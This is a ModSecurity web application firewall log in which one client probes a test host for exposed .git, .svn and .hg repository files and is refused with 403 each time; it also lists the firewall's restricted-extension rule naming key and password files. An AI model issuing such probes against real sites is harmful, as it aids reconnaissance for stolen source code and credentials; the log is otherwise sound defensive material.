[Sun Mar 01 20:25:42.279440 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks/pre-commit&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txBzwAAAAU&quot;]
[Sun Mar 01 20:25:42.301690 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/hooks/post-commit&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks/post-commit&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txB0AAAAAU&quot;]
[Sun Mar 01 20:25:42.301925 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks/post-commit&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txB0AAAAAU&quot;]
[Sun Mar 01 20:25:42.302075 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks/post-commit&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txB0AAAAAU&quot;]
[Sun Mar 01 20:25:42.347216 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;.gitconfig&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .gitconfig found within REQUEST_FILENAME: /.gitconfig&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitconfig&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txB0gAAAAU&quot;]
[Sun Mar 01 20:25:42.347479 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitconfig&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txB0gAAAAU&quot;]
[Sun Mar 01 20:25:42.347644 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitconfig&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txB0gAAAAU&quot;]
[Sun Mar 01 20:25:42.393142 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.svn/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/entries&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/entries&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txB1AAAAAU&quot;]
[Sun Mar 01 20:25:42.393369 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/entries&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txB1AAAAAU&quot;]
[Sun Mar 01 20:25:42.393517 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/entries&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txB1AAAAAU&quot;]
[Sun Mar 01 20:25:42.415742 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.db&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/wc.db&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txB1QAAAAU&quot;]
[Sun Mar 01 20:25:42.416037 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.svn/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/wc.db&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/wc.db&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txB1QAAAAU&quot;]
[Sun Mar 01 20:25:42.416258 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/wc.db&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txB1QAAAAU&quot;]
[Sun Mar 01 20:25:42.416431 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/wc.db&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txB1QAAAAU&quot;]
[Sun Mar 01 20:25:42.438673 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.svn/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/all-wcprops&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/all-wcprops&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txB1gAAAAU&quot;]
[Sun Mar 01 20:25:42.438915 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/all-wcprops&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txB1gAAAAU&quot;]
[Sun Mar 01 20:25:42.439066 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/all-wcprops&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txB1gAAAAU&quot;]
[Sun Mar 01 20:25:42.461470 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.svn/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/props&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/props&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txB1wAAAAU&quot;]
[Sun Mar 01 20:25:42.461727 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/props&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txB1wAAAAU&quot;]
[Sun Mar 01 20:25:42.461887 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/props&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txB1wAAAAU&quot;]
[Sun Mar 01 20:25:42.484523 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.svn/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/text-base&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/text-base&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txB2AAAAAU&quot;]
[Sun Mar 01 20:25:42.484788 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/text-base&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txB2AAAAAU&quot;]
[Sun Mar 01 20:25:42.484952 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/text-base&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txB2AAAAAU&quot;]
[Sun Mar 01 20:25:42.507441 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.svn/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/prop-base&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/prop-base&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txB2QAAAAU&quot;]
[Sun Mar 01 20:25:42.507744 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/prop-base&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txB2QAAAAU&quot;]
[Sun Mar 01 20:25:42.507910 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/prop-base&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txB2QAAAAU&quot;]
[Sun Mar 01 20:25:42.553669 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.hg/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.hg/ found within REQUEST_FILENAME: /.hg/hgrc&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.hg/hgrc&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txB2wAAAAU&quot;]
[Sun Mar 01 20:25:42.553928 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.hg/hgrc&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txB2wAAAAU&quot;]
[Sun Mar 01 20:25:42.554095 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.hg/hgrc&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txB2wAAAAU&quot;]
[Sun Mar 01 20:25:42.576356 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.hg/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.hg/ found within REQUEST_FILENAME: /.hg/store/fncache&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.hg/store/fncache&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txB3AAAAAU&quot;]
[Sun Mar 01 20:25:42.576623 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.hg/store/fncache&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txB3AAAAAU&quot;]
[Sun Mar 01 20:25:42.576864 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.hg/store/fncache&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txB3AAAAAU&quot;]
